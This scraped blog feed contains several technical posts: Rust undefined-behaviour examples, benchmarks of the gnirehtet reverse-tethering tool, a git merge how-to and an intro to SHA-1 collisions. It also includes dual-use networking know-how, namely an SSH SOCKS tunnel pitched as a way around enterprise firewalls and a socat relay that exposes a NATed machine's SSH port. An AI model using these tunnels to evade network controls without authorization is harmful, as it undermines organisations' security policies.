Le premier chapitre du Rustonomicon dit :

Safe Rust is For Reals Totally Safe.

[…]

Safe Rust is the true Rust programming language. If all you do is write Safe Rust, you will never have to worry about type-safety or memory-safety. You will never endure a null or dangling pointer, or any of that Undefined Behavior nonsense.

En français :

La partie Sûre de Rust est Réellement Totallement Sûre.

[…]

Le Rust Sûr est le vrai langage de programmation Rust. Si vous n’écrivez que du Rust Sûr, vous n’aurez jamais à vous inquiétez de la sûreté des types ou de la mémoire. Vous n’aurez jamais à supporter un pointeur null ou dangling, ou l’un de ces comportements indéfinis insensés.

C’est le but. Et c’est presque vrai.

Leakpocalypse

Dans le passé, il a été possible d’écrire du code Rust sûr accédant à de la mémoire libérée.

Cette “leakpocalypse” a conduit à la clarification des guaranties de sûreté : ne pas exécuter un destructeur est maintenant considéré sûr. En d’autres termes, la sûreté mémoire ne peut plus reposer sur RAII (en fait, elle n’a jamais pu, mais cela n’a été remarqué que tardivement).

En conséquence, std::mem::forget est maintenant sûr, et JoinGuard a été déprécié et supprimé de la bibliothèque standard (il a été déplacé vers un crate séparé).

Les autres outils s’appuyant sur RAII (comme Vec::drain()) doivent prendre des précautions particulières pour garantir que la mémoire ne sera pas corrompue.

Ouf, la sûreté mémoire est (maintenant) sauvée.

Infinité indéfinie

En C et C++, les boucles infinies sans effets de bords sont un cas d’undefined behavior. À cause de cela, il est possible d’écrire des programmes qui, de façon inattendue, réfutent le dernier théorème de Fermat.

En pratique, le compilateur Rust s’appuie sur LLVM, qui (actuellement) applique ses optimisations en faisant l’hypothèse que les boucles infinies sans effets de bords ont un comportement indéfini. En conséquence, de tels undefined behaviors se produisent également en Rust.

Voici un exemple minimal pour l’observer :

fn infinite() {
    loop {}
}

fn main() {
    infinite();
}

Quand on l’exécute sans optimisations, il se comporte comme “attendu” :

$ rustc ub.rs && ./ub
^C                    (infinite loop, interrupt it)

Mais activer les optimisations fait paniquer le programme :

$ rustc -O ub.rs && ./ub
thread 'main' panicked at 'assertion failed: c.borrow().is_none()', /checkout/src/libstd/sys_common/thread_info.rs:51
note: Run with `RUST_BACKTRACE=1` for a backtrace.

Nous pouvons aussi produire des résultats inattendus sans plantage :

fn infinite(mut value: u32) {
    // infinite loop unless value initially equals 0
    while value != 0 {
        if value != 1 {
            value -= 1;
        }
    }
}

fn main() {
    infinite(42);
    println!("end");
}
$ rustc ub.rs && ./ub
^C                    (infinite loop, interrupt it)

Mais avec optimisations :

$ rustc -O ub.rs && ./ub
end

C’est un cas particulier, qui sera probablement corrigé dans le futur. En pratique, les garanties de sûreté de Rust sont très fortes (au prix d’être contraignantes).

Erreur de segmentation

Cette section a été ajoutée après la publication.

Il y a d’autres sources d’undefined behaviors (voir les issues taggées I-unsound).

Par exemple, caster une valeur flottante ne pouvant pas être représentée dans le type cible est un undefined behavior, qui peut être propagé pour provoquer une erreur de segmentation :

#[inline(never)]
pub fn f(ary: &[u8; 5]) -> &[u8] {
    let idx = 1e100f64 as usize;
    &ary[idx..]
}

fn main() {
    println!("{}", f(&[1; 5])[0xdeadbeef]);
}
rustc -O ub.rs && ./ub
Erreur de segmentation

Stats

C’est tout pour mes retours sur le langage lui-même.

En supplément, comparons les versions Java et Rust du serveur relais.

Nombre de lignes

$ cloc relay-{java,rust}/src
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
Rust                            29            687            655           4506
Java                            37            726            701           2931
-------------------------------------------------------------------------------

(tests included)

Le projet Rust est significativement plus gros, pour plusieurs raisons :

La version Java contient plus de fichiers car les tests unitaires sont séparés, alors qu’en Rust ils se trouvent dans le même fichier que les classes qu’ils testent.

Juste pour information, voici les résultats pour le client Android :

$ cloc app/src
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
Java                            15            198            321            875
XML                              6              7              2             76
-------------------------------------------------------------------------------
SUM:                            21            205            323            951
-------------------------------------------------------------------------------

Taille des binaires

--------------------------------------------
Java     gnirehtet.jar                   61K
--------------------------------------------
Rust     gnirehtet                      3.0M
         after "strip -g gnirehtet"     747K
         after "strip gnirehtet"        588K
--------------------------------------------

Le binaire Java lui-même est bien plus petit. La comparaison n’est pas juste cependant, vu qu’il nécessite l’environnement d’exécution Java :

$ du -sh /usr/lib/jvm/java-1.8.0-openjdk-amd64/
156M	/usr/lib/jvm/java-1.8.0-openjdk-amd64/

Utilisation mémoire

Avec une seule connection TCP ouvert, voici la consommation mémoire pour le serveur relais en Java :

$ sudo pmap -x $RELAY_JAVA_PID
                  Kbytes     RSS   Dirty
total kB         4364052   86148   69316

(résultat filtré)

Et pour le serveur relais en Rust :

$ sudo pmap -x $RELAY_RUST_PID
                  Kbytes     RSS   Dirty
total kB           19272    2736     640

Regardez la valeur RSS, qui indique la mémoire réellement utilisée.

Comment on pouvait s’y attendre, la version Java consomme plus de mémoire (86Mo) que la version Rust (moins de 3Mo). De plus, sa valeur est instable à cause de l’allocation de petits objets et leur garbage collection, qui génère aussi davantage de dirty pages. La valeur pour Rust, quant à elle, est très stable : une fois la connection créée, il n’y a plus d’allocations mémoire du tout.

Utilisation CPU

Pour comparer l’utilisation CPU, voici mon scénario : un fichier de 500Mo est hébergé par Apache sur mon ordinateur, je démarre le serveur relais avec perf stat, puis je télécharge le fichier à partir de Firefox sur Android. Dès que le fichier est téléchargé, je stoppe le serveur relais (Ctrl+C).

Voici les résultats pour la version Java :

$ perf stat -B java -jar gnirehtet.jar relay
 Performance counter stats for 'java -jar gnirehtet.jar relay':

      11805,458302      task-clock:u (msec)       #    0,088 CPUs utilized
                 0      context-switches:u        #    0,000 K/sec
                 0      cpu-migrations:u          #    0,000 K/sec
            28 618      page-faults:u             #    0,002 M/sec
    17 908 360 446      cycles:u                  #    1,517 GHz
    13 944 172 792      stalled-cycles-frontend:u #   77,86% frontend cycles idle
    18 437 279 663      instructions:u            #    1,03  insn per cycle
                                                  #    0,76  stalled cycles per insn
     3 088 215 431      branches:u                #  261,592 M/sec
        70 647 760      branch-misses:u           #    2,29% of all branches

     133,975117164 seconds time elapsed

Et pour la version Rust :

$ perf stat -B ./gnirehtet relay
 Performance counter stats for 'target/release/gnirehtet relay':

       2707,479968      task-clock:u (msec)       #    0,020 CPUs utilized
                 0      context-switches:u        #    0,000 K/sec
                 0      cpu-migrations:u          #    0,000 K/sec
             1 001      page-faults:u             #    0,370 K/sec
     1 011 527 340      cycles:u                  #    0,374 GHz
     2 033 810 378      stalled-cycles-frontend:u #  201,06% frontend cycles idle
       981 103 003      instructions:u            #    0,97  insn per cycle
                                                  #    2,07  stalled cycles per insn
        98 929 222      branches:u                #   36,539 M/sec
         3 220 527      branch-misses:u           #    3,26% of all branches

     133,766035253 seconds time elapsed

Je ne suis pas un expert pour analyser les résultats, mais de ce que je comprends de la valeur task-clock:u, la version Rust consomme 4× moins de temps CPU.

Conclusion

Réécrire Gnirehtet en Rust a été une formidable expérience, où j’ai appris un super langage et de nouveaux concepts de programmation. Et maintenant, nous avons une application native avec de meilleures performances.

Bon reverse tethering !

Discussions sur reddit et Hacker News.

";s:7:"dateiso";s:15:"20170921_170000";}s:15:"20170712_203000";a:7:{s:5:"title";s:27:"Fusionner deux dépôts git";s:4:"link";s:57:"https://blog.rom1v.com/2017/07/fusionner-deux-depots-git/";s:4:"guid";s:56:"https://blog.rom1v.com/2017/07/fusionner-deux-depots-git";s:7:"pubDate";s:25:"2017-07-12T20:30:00+02:00";s:11:"description";s:0:"";s:7:"content";s:4765:"

Ce billet explique comment fusionner un dépôt git (avec son historique) dans un sous-répertoire d’un autre dépôt git.

Cas d’usage

Mon projet principal se trouve dans un dépôt main. J’ai démarré dans un autre dépôt un projet other, que je souhaite finalement intégrer dans un sous-répertoire sub/ du projet principal, en conservant son historique. Après cette fusion, je ne garderai que le dépôt principal.

Fusion

Les deux projets se trouvent dans le répertoire courant :

$ ls
main  other

Dans le dépôt main, copier la branche master de other dans une nouvelle branche tmp :

cd main
git fetch ../other master:tmp

Le dépôt main contient alors les historiques disjoints des deux projets.

Nous allons maintenant réécrire l’historique complet de la branche tmp pour déplacer tout le contenu dans un sous-répertoire sub/, grâce une commande donnée en exemple de man git filter-branch :

git checkout tmp
git filter-branch --index-filter \
    'git ls-files -s | sed "s-\t\"*-&sub/-" |
        GIT_INDEX_FILE=$GIT_INDEX_FILE.new \
            git update-index --index-info &&
     mv "$GIT_INDEX_FILE.new" "$GIT_INDEX_FILE"'

À ce stade, nous avons toujours deux historiques indépendants, mais le contenu lié à la branche tmp se trouve dans le sous-répertoire sub/.

A---B---C---D master

  X---Y---Z tmp

La dernière étape consiste à relier les deux historiques, soit grâce à un rebase, soit grâce à un merge.

Un rebase réécrit l’historique du sous-projet sur la branche master :

git rebase master

# A---B---C---D---X'--Y'--Z' master

Un merge relie juste les deux historiques grâce à un commit de merge :

git merge tmp --allow-unrelated-histories

# A---B---C---D---M  master
#                /
#       X---Y---Z tmp

Concrètement

J’ai débuté la réécriture du serveur relais de gnirehtet en Rust dans un dépôt séparé. Maintenant qu’il commence à fonctionner, je l’ai fusionné dans un sous-répertoire du dépôt principal tout en conservant l’historique :

git fetch ../rustrelay master:tmp
git checkout tmp
git filter-branch --index-filter \
    'git ls-files -s | sed "s-\t\"*-&rustrelay/-" |
        GIT_INDEX_FILE=$GIT_INDEX_FILE.new \
            git update-index --index-info &&
     mv "$GIT_INDEX_FILE.new" "$GIT_INDEX_FILE"'
git rebase master
";s:7:"dateiso";s:15:"20170712_203000";}s:15:"20170330_120000";a:7:{s:5:"title";s:21:"Introducing gnirehtet";s:4:"link";s:53:"https://blog.rom1v.com/2017/03/introducing-gnirehtet/";s:4:"guid";s:52:"https://blog.rom1v.com/2017/03/introducing-gnirehtet";s:7:"pubDate";s:25:"2017-03-30T12:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:10447:"

I spent the last few weeks at Genymobile developing a tool providing reverse tethering for Android, so that devices may use the internet connection of the computer on which they are connected via USB, without requiring any root access (neither on the device nor on the computer). It works on GNU/Linux, Windows and Mac OS.

We decided to open source it under the name gnirehtet.

Yeah, that’s a weird name, until you realize that this is the output of this bash command:

rev <<< tethering

How to use Gnirehtet

Basically, just download the latest release, extract it, and execute the following command on the computer:

./gnirehtet rt

Once activated, a “key” logo appears in your device status bar:

key

Check the README file of the project for more details.

How does gnirehtet work?

Gnirehtet is composed of two parts:

Since then, I rewrote it in Rust.

The client registers itself as a VPN, in order to intercept the whole device network traffic, as byte[] of raw IPv4 packets, which it transmits to the relay server over a TCP connection (established over adb).

The relay server parses the packets headers, open connections from the computer to the requested destinations, and relays the content in both directions following the UDP and TCP protocols. It creates and sends response packets back to the Android client, which writes them to the VPN interface.

In a sense, the relay server behaves like a NAT, in that it opens connections on behalf of private peers. However, it differs from standard NATs in the way it communicates with the clients (the private peers), by using a very specific (though simple) protocol over a TCP connection.

archi

For more details, you can read the developers page.

Here are the solutions I have considered

Once the application is able to intercept the whole device network traffic, several alternative designs are possible.

TL;DR: I first considered creating a “TUN device” on the computer, but it did not suit our needs. Then I wanted to benefit from existing SOCKS servers, but some constraints prevented us to relay UDP traffic. So I implemented gnirehtet.

TUN device

During my investigations on how to implement reverse tethering, I first found projects creating a TUN device on the computer (vpn-reverse-tether and SimpleRT).

This design works very well, and has several advantages:

However:

You could still consider using these “TUN device” applications, they may better suit your needs.

SOCKS

In order to avoid to develop a specific relay server, my first idea was to make the client talk the SOCKS protocol (according to RFC 1928). That way, it would be possible to use any existing SOCKS server, for instance the one provided by ssh -D.

You probably already used it to bypass annoying enterprise firewalls. For this purpose, just start the tunnel:

ssh my_serveur -ND1080

Then configure your browser to use the SOCKS proxy localhost:1080. Also take care to enable remote DNS resolution if you want to resolve domain names from my_server (in Firefox, enable network.proxy.socks_remote_dns in about:config).

Unfortunately, the OpenSSH implementation does not support UDP, although the SOCKS5 protocol itself does. And we do need UDP, at least for DNS requests (and also NTP).

If you read carefully the two last paragraphs, you might want to ask yourself:

How may Firefox resolve domain names remotely through the OpenSSH SOCKS proxy if it does not even support UDP?

The answer lies in the section 4 of the RFC: the requested destination address may be an IPv4, an IPv6 or a domain name. However, using this feature implies that the client (e.g. Firefox) is aware of the proxy (since it must explicitly pass the domain name instead of resolving it locally), while our reverse tethering must be transparent.

But all is not lost. OK, OpenSSH does not support UDP, but this is just a specific implementation, we could consider another one. Unfortunately, SOCKS5 requires to relay UDP over UDP, but the devices and the computer communicate over adb (thanks to adb reverse), which does not support UDP port forwarding either.

Maybe we could at least relay DNS requests by forcing them to use TCP, like tsocks does:

tsocks will normally not be able to send DNS queries through a SOCKS server since SOCKS V4 works on TCP and DNS normally uses UDP. Version 1.5 and up do however provide a method to force DNS lookups to use TCP, which then makes them proxyable.

But then, SOCKS was no longer attractive to me for implementing reverse tethering.

Gnirehtet

Therefore, I developed both the client and the relay server manually.

This blog post and several open source projects (SimpleRT, vpn-reverse-tether, LocalVPN et ToyVpn) helped me a lot to understand how to implement this solution.

Conclusion

Gnirehtet allows Android devices to use the internet connection from a computer easily, without any root access. It helps when you can’t access the network using a WiFi access point.

I hope it will be useful to some of you.

This post was initially published on medium.

Discuss on reddit and Hacker News.

";s:7:"dateiso";s:15:"20170330_120000";}s:15:"20170330_115000";a:7:{s:5:"title";s:9:"Gnirehtet";s:4:"link";s:41:"https://blog.rom1v.com/2017/03/gnirehtet/";s:4:"guid";s:40:"https://blog.rom1v.com/2017/03/gnirehtet";s:7:"pubDate";s:25:"2017-03-30T09:50:00+00:00";s:11:"description";s:0:"";s:7:"content";s:11170:"

Durant ces dernières semaines chez Genymobile, j’ai développé un outil de reverse tethering pour Android, permettant aux téléphones (et aux tablettes) d’utiliser la connexion internet de l’ordinateur sur lequel ils sont branchés en USB, sans accès root (ni sur le téléphone, ni sur le PC). Il fonctionne sur GNU/Linux, Windows et Mac OS.

Nous avons décidé de le publier en open source, sous le nom de gnirehtet.

Oui, c’est un nom bizarre, jusqu’à ce qu’on réalise qu’il s’agit du résultat de la commande bash :

rev <<< tethering

Utilisation

Il suffit de télécharger la dernière release, de l’extraire, et d’exécuter la commande suivante sur le PC :

./gnirehtet rt

Une fois activé, un logo en forme de clé apparaît dans la barre de statut du téléphone :

key

Lisez le fichier README pour plus de détails.

Fonctionnement

Le projet est composé de deux parties :

Depuis, je l’ai réécrit en Rust.

Le client s’enregistre en tant que VPN, de manière à intercepter tout le trafic réseau du téléphone, sous la forme de byte[] de paquets IPv4 bruts, qu’il transmet alors vers le serveur relais sur une connexion TCP (établie par-dessus adb).

Le serveur relais analyse les en-têtes des paquets, ouvre des connexions à partir du PC vers les adresses de destinations demandées, et relaie le contenu dans les deux sens en suivant les protocoles UDP et TCP. Il crée et renvoie des paquets de réponse vers le client Android, qui les écrit sur l’interface VPN.

D’une certaine manière, le serveur relais se comporte comme un NAT, en cela qu’il ouvre des connexions pour le compte d’autres machines qui n’ont pas accès au réseau. Cependant, il diffère des NAT standards dans la manière dont il communique avec les clients, en utilisant un protocole spécifique (très simple) sur une connexion TCP.

archi

Pour plus de détails, lisez la page développeurs.

Conception

Une fois que l’application est capable d’intercepter l’intégralité du traffic réseau du téléphone, différentes approches sont possibles. Voici celles que j’ai considérées.

TL;DR: J’ai d’abord étudié l’utilisation d’un “TUN device” sur le PC, mais ça ne répondait pas à nos besoins. J’ai ensuite voulu utiliser SOCKS pour bénéficier des serveurs existants, mais des contraintes nous empêchaient de relayer le trafic UDP. Alors j’ai implémenté gnirehtet.

TUN device

Lors de mes recherches pour savoir comment implémenter le reverse tethering, j’ai d’abord trouvé des projets créant un TUN device sur l’ordinateur (vpn-reverse-tether and SimpleRT).

Cette conception fonctionne très bien, et a plusieurs avantages :

Cependant :

Il se peut néanmoins que ces applications répondent davantage à vos besoins.

SOCKS

Afin d’éviter d’avoir à développer un serveur relais spécifique, ma première idée était d’écrire un client qui parlait le protocole SOCKS (suivant le RFC 1928). Ainsi, il serait possible d’utiliser n’importe quel serveur SOCKS existant, par exemple celui fourni par ssh -D.

Vous l’avez probablement déjà utilisé pour éviter le filtrage des pare-feux en entreprise. Pour cela, démarrez le tunnel :

ssh mon_serveur -ND1080

Puis configurez votre navigateur pour utiliser le proxy SOCKS localhost:1080. N’oubliez pas d’activer la résolution DNS distante pour résoudre les noms de domaine à partir de mon_serveur (dans Firefox, activez network.proxy.socks_remote_dns dans about:config).

Malheureusement, l’implémentation d’OpenSSH ne supporte pas UDP, même si le protocole SOCKS5 lui-même le supporte. Et nous avons besoin d’UDP, au moins pour les requêtes DNS (ainsi que pour NTP).

Si vous avez lu attentivement les deux paragraphes précédents, vous devriez vous demander :

Comment Firefox peut-il résoudre les noms de domaine à distance alors que le proxy SOCKS d’OpenSSH ne supporte même pas UDP ?

La réponse se trouve dans la section 4 du RFC : l’adresse de destination demandée peut être une IPv4, une IPv6 ou un nom de domaine. Par contre, pour utiliser cette fonctionnalité, le client (par exemple Firefox) doit savoir qu’il passe par un proxy (puisqu’il doit explicitement passer le nom de domaine au lieu de le résoudre localement), alors que notre reverse tethering doit être transparent.

Mais tout n’est pas perdu. Certes, OpenSSH ne supporte pas UDP, mais ce n’est qu’une implémentation spécifique, nous pourrions en utiliser une autre. Malheureusement, SOCKS5 relaie UDP sur UDP, et les téléphones et l’ordinateur communiquent sur adb (grâce à adb reverse), qui ne supporte pas non plus la redirection de ports UDP.

Peut-être que nous pourrions au moins relayer les requêtes DNS en les forçant à utiliser TCP, comme le fait tsocks :

tsocks will normally not be able to send DNS queries through a SOCKS server since SOCKS V4 works on TCP and DNS normally uses UDP. Version 1.5 and up do however provide a method to force DNS lookups to use TCP, which then makes them proxyable.

Mais finalement, SOCKS n’est plus une solution aussi attirante pour implémenter le reverse tethering.

Gnirehtet

Par conséquent, j’ai développé à la fois le client et le serveur relais manuellement.

Ce billet de blog et différents projets open source (SimpleRT, vpn-reverse-tether, LocalVPN et ToyVpn) m’ont beaucoup aidé à comprendre comment implémenter cette solution de reverse tethering.

Conclusion

Gnirehtet permet aux téléphones et tablettes Android d’utiliser facilement la connection internet d’un ordinateur par USB, sans accès root. C’est très utile quand vous ne pouvez pas accéder au réseau par un point d’accès WiFi.

J’espère qu’il pourra être utile à certains d’entre vous.

Discussions sur reddit et Hacker News.

";s:7:"dateiso";s:15:"20170330_115000";}s:15:"20170330_110000";a:7:{s:5:"title";s:9:"Gnirehtet";s:4:"link";s:40:"http://blog.rom1v.com/2017/03/gnirehtet/";s:4:"guid";s:39:"http://blog.rom1v.com/2017/03/gnirehtet";s:7:"pubDate";s:25:"2017-03-30T11:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:10030:"

Durant ces dernières semaines chez Genymobile, j’ai développé un outil de reverse tethering pour Android, permettant aux téléphones (et aux tablettes) d’utiliser la connexion internet de l’ordinateur sur lequel ils sont branchés, sans accès root (ni sur le téléphone, ni sur le PC). Il fonctionne sur GNU/Linux, Windows et Mac OS.

Nous avons décidé de le publier en open source, sous le nom de gnirehtet.

Oui, c’est un nom bizarre, jusqu’à ce qu’on réalise qu’il s’agit du résultat de la commande bash :

rev <<< tethering

Utilisation

Il suffit de télécharger la dernière release, de l’extraire, et d’exécuter la commande suivante sur le PC :

./gnirehtet rt

Une fois activé, un logo en forme de clé apparaît dans la barre de statut du téléphone :

key

Lisez le fichier README pour plus de détails.

Fonctionnement

Le projet est composé de deux parties :

Le client s’enregistre en tant que VPN, de manière à intercepter tout le trafic réseau du téléphone, sous la forme de byte[] de paquets IPv4 bruts, qu’il transmet alors vers le serveur relais sur une connexion TCP (établie par-dessus adb).

Le serveur relais analyse les en-têtes des paquets, ouvre des connexions à partir du PC vers les adresses de destinations demandées, et relaie le contenu dans les deux sens en suivant les protocoles UDP et TCP. Il crée et renvoie des paquets de réponse vers le client Android, qui les écrit sur l’interface VPN.

D’une certaine manière, le serveur relais se comporte comme un NAT, en cela qu’il ouvre des connexions pour le compte d’autres machines qui n’ont pas accès au réseau. Cependant, il diffère des NAT standards dans la manière dont il communique avec les clients, en utilisant un protocole spécifique (très simple) sur une connexion TCP.

archi

Pour plus de détails, lisez la page développeurs.

Conception

Une fois que l’application est capable d’intercepter l’intégralité du traffic réseau du téléphone, différentes approches sont possibles. Voici celles que j’ai considérées.

TL;DR: J’ai d’abord étudié l’utilisation d’un “TUN device” sur le PC, mais ça ne répondait pas à nos besoins. J’ai ensuite voulu utiliser SOCKS pour bénéficier des serveurs existants, mais des contraintes nous empêchaient de relayer le trafic UDP. Alors j’ai implémenté gnirehtet.

TUN device

Lors de mes recherches pour savoir comment implémenter le reverse tethering, j’ai d’abord trouvé des projets créant un TUN device sur l’ordinateur (vpn-reverse-tether and SimpleRT).

Cette conception fonctionne très bien, et a plusieurs avantages :

Cependant :

Il se peut néanmoins que ces applications répondent davantage à vos besoins.

SOCKS

Afin d’éviter d’avoir à développer un serveur relais spécifique, ma première idée était d’écrire un client qui parlait le protocole SOCKS (suivant le RFC 1928). Ainsi, il serait possible d’utiliser n’importe quel serveur SOCKS existant, par exemple celui fourni par ssh -D.

Vous l’avez probablement déjà utilisé pour éviter le filtrage des pare-feux en entreprise. Pour cela, démarrez le tunnel :

ssh mon_serveur -ND1080

Puis configurez votre navigateur pour utiliser le proxy SOCKS localhost:1080. N’oubliez pas d’activer la résolution DNS distante pour résoudre les noms de domaine à partir de mon_serveur (dans Firefox, activez network.proxy.socks_remote_dns dans about:config).

Malheureusement, l’implémentation d’OpenSSH ne supporte pas UDP, même si le protocole SOCKS5 lui-même le supporte. Et nous avons besoin d’UDP, au moins pour les requêtes DNS (ainsi que pour NTP).

Si vous avez lu attentivement les deux paragraphes précédents, vous devriez vous demander :

Comment Firefox peut-il résoudre les noms de domaine à distance alors que le proxy SOCKS d’OpenSSH ne supporte même pas UDP ?

La réponse se trouve dans la section 4 du RFC : l’adresse de destination demandée peut être une IPv4, une IPv6 ou un nom de domaine. Par contre, pour utiliser cette fonctionnalité, le client (par exemple Firefox) doit savoir qu’il passe par un proxy (puisqu’il doit explicitement passer le nom de domaine au lieu de le résoudre localement), alors que notre reverse tethering doit être transparent.

Mais tout n’est pas perdu. Certes, OpenSSH ne supporte pas UDP, mais ce n’est qu’une implémentation spécifique, nous pourrions en utiliser une autre. Malheureusement, SOCKS5 relaie UDP sur UDP, et les téléphones et l’ordinateur communiquent sur adb (grâce à adb reverse), qui ne supporte pas non plus la redirection de ports UDP.

Peut-être que nous pourrions au moins relayer les requêtes DNS en les forçant à utiliser TCP, comme le fait tsocks :

tsocks will normally not be able to send DNS queries through a SOCKS server since SOCKS V4 works on TCP and DNS normally uses UDP. Version 1.5 and up do however provide a method to force DNS lookups to use TCP, which then makes them proxyable.

Mais finalement, SOCKS n’est plus une solution aussi attirante pour implémenter le reverse tethering.

Gnirehtet

Par conséquent, j’ai développé à la fois le client et le serveur relais manuellement.

Ce billet de blog et différents projets open source (SimpleRT, vpn-reverse-tether, LocalVPN et ToyVpn) m’ont beaucoup aidé à comprendre comment implémenter cette solution de reverse tethering.

Conclusion

Gnirehtet permet aux téléphones et tablettes Android d’utiliser facilement la connection internet d’un ordinateur par USB, sans accès root. C’est très utile quand vous ne pouvez pas accéder au réseau par un point d’accès WiFi.

J’espère qu’il pourra être utile à certains d’entre vous.

";s:7:"dateiso";s:15:"20170330_110000";}s:15:"20170312_231712";a:7:{s:5:"title";s:14:"Serveur-client";s:4:"link";s:46:"https://blog.rom1v.com/2017/03/serveur-client/";s:4:"guid";s:45:"https://blog.rom1v.com/2017/03/serveur-client";s:7:"pubDate";s:25:"2017-03-12T23:17:12+01:00";s:11:"description";s:0:"";s:7:"content";s:10329:"

L’objectif de ce billet est de parvenir à nous connecter à un serveur a priori inaccessible derrière un NAT.

Client-serveur

De nos jours, TCP est toujours utilisé en mode client-serveur :

Une fois la connexion établie, cependant, le client et le serveur jouent exactement le même rôle au niveau de la communication. Par contre, très souvent, leur rôle applicatif dépend directement de celui qui a initié la connexion :

ssh

Ce fonctionnement paraît tellement naturel que “client” désigne bien souvent à la fois celui qui initie la connexion et celui qui effectue des requêtes (au serveur), alors que “serveur” désigne aussi bien la partie en écoute que celle qui répondra aux requêtes (des clients).

Puis vint le NAT…

Avec la pénurie d’adresses IPv4, le NAT s’est généralisé. Bien souvent, un accès internet ne fournit qu’une seule adresse IPv4. Les différents ordinateurs partageant la même connexion ne sont alors pas accessibles directement depuis l’extérieur (il est nécessaire d’ouvrir des ports).

Ainsi, derrière un NAT sans ports ouverts, un serveur ne sera pas accessible publiquement. Par contre, un client pourra continuer à se connecter à n’importe quel serveur public.

ssh-nat

Inversion des rôles

Il existe des situations pour lesquelles nous souhaitons qu’un logiciel joue le rôle de serveur au niveau applicatif, afin de répondre aux requêtes des clients, mais client au niveau de la communication, afin de passer les NATs sans difficultés.

Par exemple, nous pouvons vouloir accéder, grâce à VNC ou SSH, à un ordinateur se trouvant derrière un NAT sur lequel, par hypothèse, nous n’avons pas la main. Dans ce cas, seul le serveur (au sens applicatif) aura la capacité d’ouvrir une connexion vers le client.

Logiciel dédié

Il est possible d’utiliser un logiciel spécialement conçu pour gérer cette inversion des rôles. C’est le cas par exemple de gitso, qui inverse le protocole VNC afin de simplifier l’aide de novices à distance.

Cette solution a cependant l’inconvénient d’être très spécifique, nécessitant un développement supplémentaire pour chaque protocole.

Redirection de port distant via SSH

SSH permet d’ouvrir un tunnel pour rediriger un port d’une machine distance vers une adresse quelconque.

Par exemple, après avoir démarré la redirection :

ssh un_serveur_public -NR2222:localhost:22

toutes les connexions arrivant sur un_serveur_public:2222 seront redirigées de manière transparente vers localhost:22 (sur la machine ayant initié le tunnel, donc).

(Cela nécessite d’activer GatewayPorts yes dans /etc/ssh/sshd_config sur un_serveur_public.)

De cette manière, un serveur SSH inaccessible derrière un NAT est rendu accessible à travers un tunnel en passant par une machine publique (un_serveur_public). Ainsi, il est possible de s’y connecter avec la commande :

ssh un_serveur_public -p2222

ssh-remote

Cette stratégie fonctionne bien, mais elle nécessite que la machine qui souhaite exposer un serveur grâce à un tunnel possède un accès SSH sur un_serveur_public.

Si l’on souhaite aider quelqu’un grâce à la prise de contrôle de sa machine à distance, il y a toutes les chances que cette personne n’ait pas d’accès SSH vers une machine publiquement accessible. Il est alors possible de lui créer un compte restreint dédié sur un serveur que l’on contrôle, mais c’est très intrusif, et il faut s’assurer de ne pas réduire la sécurité.

Mais en fait, cette contrainte est superflue.

Redirections SOCAT

La redirection de port distant nécessite des permissions car, outre le fait qu’elle est implémentée sur SSH, il serait déraisonnable d’autoriser n’importe qui à ouvrir une socket en écoute sur un port arbitraire d’une machine distante.

Pour éviter ce problème, nous pouvons décomposer la redirection de port distant fourni par SSH en deux parties :

  1. l’ouverture de la connexion vers un_serveur_public, redirigée vers l’adresse localhost:22 dans l’exemple précédent ;
  2. l’ouverture d’une socket en écoute sur un port (2222) de la machine distante, redirigée vers la première connexion.

L’idée est de mettre en place le premier demi-tunnel sur la machine serveur, et le second demi-tunnel, nécessitant des permissions, sur la machine publique, contrôlée par le client.

Pour cela, nous allons utiliser l’outil socat, qui permet de relayer les données entre deux sockets, quelque soit le rôle qu’elles aient joué lors de l’initialisation.

Active-passive

Pour comprendre son utilisation, nous allons ouvrir grâce à netcat (nc) une socket TCP en écoute sur le port 5000 et nous y connecter :

# terminal 1
nc -l -p 5000
# terminal 2
nc localhost 5000

Toute entrée validée par un retour à la ligne dans le terminal 1 s’affichera dans le terminal 2 (et vice-versa).

nc

Passive-passive

Démarrons maintenant dans deux terminaux différents une socket en écoute sur les ports 1111 et 2222 :

# terminal 1
nc -l -p 1111
# terminal 2
nc -l -p 2222

Pour les mettre en communication avec socat, dans un 3e terminal :

socat tcp:localhost:1111 tcp:localhost:2222

socat-connect

Active-active

Inversement, il est possible de mettre en communication deux sockets actives (sans compter sur leur synchronisation). Pour cela, commençons par ouvrir le serveur relai :

socat tcp-listen:1111 tcp-listen:2222

Puis connectons-y deux sockets :

# terminal 1
nc localhost 1111
# terminal 2
nc localhost 2222

socat-connect

Tunnel

Nous sommes maintenant prêts pour créer l’équivalent d’une redirection de port distant SSH grâce à deux socats, qui vont permettre d’inverser la connexion uniquement sur la portion qui permet de traverser le NAT :

# sur un_serveur_public
socat tcp-listen:1234 tcp-listen:5678
# sur le serveur derrière le NAT
socat tcp:un_serveur_public:1234 tcp:localhost:22
# sur le client
ssh un_serveur_public -p5678

ssh-socat

";s:7:"dateiso";s:15:"20170312_231712";}s:15:"20170301_001135";a:7:{s:5:"title";s:6:"SHAdow";s:4:"link";s:38:"https://blog.rom1v.com/2017/03/shadow/";s:4:"guid";s:37:"https://blog.rom1v.com/2017/03/shadow";s:7:"pubDate";s:25:"2017-03-01T00:11:35+01:00";s:11:"description";s:0:"";s:7:"content";s:19440:"

Le 23 février, une équipe de chercheurs a annoncé avoir cassé SHA-1 en pratique, en générant une collision.

À partir de leur travail, il est possible de produire de nouvelles paires de fichiers PDF arbitrairement différents qui auront la même signature SHA-1. Par exemple :

shadow1-thumb shadow2-thumb

$ sha1sum shadow1.pdf shadow2.pdf
fffe36a1d6f0a76a585af4f3838a4a46b6714f0c  shadow1.pdf
fffe36a1d6f0a76a585af4f3838a4a46b6714f0c  shadow2.pdf
$ sha256sum shadow1.pdf shadow2.pdf
502ccf8ecee10176d891fa4aeab295edec22b95141c2ae16d85f13b39879e37e  shadow1.pdf
2546d272df653c5a99ef0914fa6ed43b336f309758ea873448154ebde90cdfe1  shadow2.pdf

J’explique dans ce billet le principe, et je fournis un outil qui produit, à partir de deux images JPEG, deux fichiers PDF différents de même SHA-1.

Réutilisation

En fabriquant leur collision, les auteurs ont pris soin de la rendre réutilisable :

